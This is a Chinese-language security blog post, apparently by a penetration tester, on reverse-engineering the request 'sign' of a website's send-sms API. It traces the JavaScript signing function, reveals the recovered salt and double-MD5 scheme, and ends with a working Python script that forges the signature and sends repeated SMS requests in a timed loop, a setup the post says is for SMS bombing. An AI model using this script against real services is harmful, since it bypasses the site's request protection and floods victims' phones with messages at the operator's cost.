记一次sign逆向过程

在网站中,sign(签名) 指用户用来确认身份或操作的标识,它可以是登录账号时的用户名和密码(登录签名)、在电子合同或表单上的电子签名,也可以是开发接口中用来验证请求合法性的数字签名,总之都是为了确认身份、保证操作真实性和数据安全。

发现过程

测试注册功能,发现验证码尝试短信轰炸

image-20260224163017947

抓包获取数据包,发现body存在sign验签,url中存在mt时间戳

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/member/send-sms?ver=2.0&mt=1771921995563 HTTP/1.1
Host:
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive

phone=13811111111&type=6&sign=1953907BCF53FB558F6AD2F677B159B1

重新发包会显示限制。模拟发送数据包查看对应代码

image-20260224164251852

找到了对应接口

1
2
3
4
5
6
7
8
function mNe(e, t="modal") {
return cNe.post({
url: "/api/member/send-sms",
params: e
}, {
errorMessageMode: t
})
}

逆向过程

从接口构造看,sign应该是在e里面的。下断点发包

image-20260224171619363

发现sign在之前就传入进来了,那么全局搜索sign,sign:,function sign

1
2
3
4
sign: ae({
phone: Te.value.namePhone,
type: "7"
})

发现sign是由ae()方法生成的,对ae打断点,然后重新发包查看

image-20260224173107485

然后在控制台直接输入ae.tostring()就可以获取ae()真实代码

image-20260224173208824

找到这个function $we())即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function $we(e) {
const t = JSON.parse(JSON.stringify(e));
for (const r in t) {
const e = typeof t[r];
(["coLicensePic", "cardPic1", "cardPic2", "cardPic3", "reject_reason", "sign"].includes(r) || "string" !== e && "number" !== e && "boolean" !== e || "string" === e && (t[r].length > 30 || t[r].includes(" ") || !t[r])) && delete t[r]
}
const n = Object.keys(t).sort(( (e, t) => e < t ? -1 : 1));
let o = "";
return n.forEach((e => {
o += `${e}=>${t[e]}@`
}
)),
o = o.substring(0, o.length - 1),
o = Hwe(o).toString(),
o += "^_*#06@!@6#_^",
o = Hwe(o).toString().toUpperCase(),
o
}

字段过滤,删除

1
coLicensePic/cardPic1/cardPic2/cardPic3/reject_reason/sign

不是string、number、boolean的全部删掉,如果是string必须满足长度<=30,不能包含空格,不能为空。剩下合格的进入下一阶段。

然后进行排序(字母升序)拼接字符串,去掉最后一个@

1
mt=>xxx@phone=>xxx@type=>6@ver=>2.0

然后先md5(排序值)+盐,在md5转大写最后生成sign

最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import hashlib
import time
import requests

def md5(text):
return hashlib.md5(text.encode('utf-8')).hexdigest()

def generate_sign(phone, mt):
type_value = "6"
ver = "2.0"
salt = "^_*#06@!@6#_^"

sign_str = f"mt=>{mt}@phone=>{phone}@type=>{type_value}@ver=>{ver}"
first_md5 = md5(sign_str)
return md5(first_md5 + salt).upper()

def send_request(phone):
ver = "2.0"
mt = str(int(time.time() * 1000))
sign = generate_sign(phone, mt)
url = f"https://domain/api/member/send-sms?ver={ver}&mt={mt}"

headers = {
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"Origin": "",
"Referer": "",
"User-Agent": "Mozilla/5.0"
}

data = {
"phone": phone,
"type": "6",
"sign": sign
}

try:
start = time.time()
response = requests.post(url, headers=headers, data=data, timeout=10)
end = time.time()

print("=" * 60)
print("请求URL:", url)
print("请求Body:", data)
print("状态码:", response.status_code)
print("耗时: %.3f 秒" % (end - start))
print("响应头:", dict(response.headers))
print("响应体:", response.text)
print("=" * 60)

return response.status_code == 200

except Exception as e:
print("请求异常:", e)
return False

phone = ""

interval = 60 / 15
start_time = time.time()

success = 0
fail = 0
count = 0

print("开始 ...\n")

while time.time() - start_time < 60:
count += 1
print(f"\n第 {count} 次请求")

if send_request(phone):
success += 1
else:
fail += 1
time.sleep(interval)
print("\n测试结束")
print("总请求数:", count)
print("成功:", success)
print("失败:", fail)

此时即可以伪造sign正常发包了

image-20260224175436847


记一次sign逆向过程
https://oxshadow.github.io/2026/02/24/记一次sign逆向过程/
作者
ss
发布于
2026年2月24日
更新于
2026年3月10日
许可协议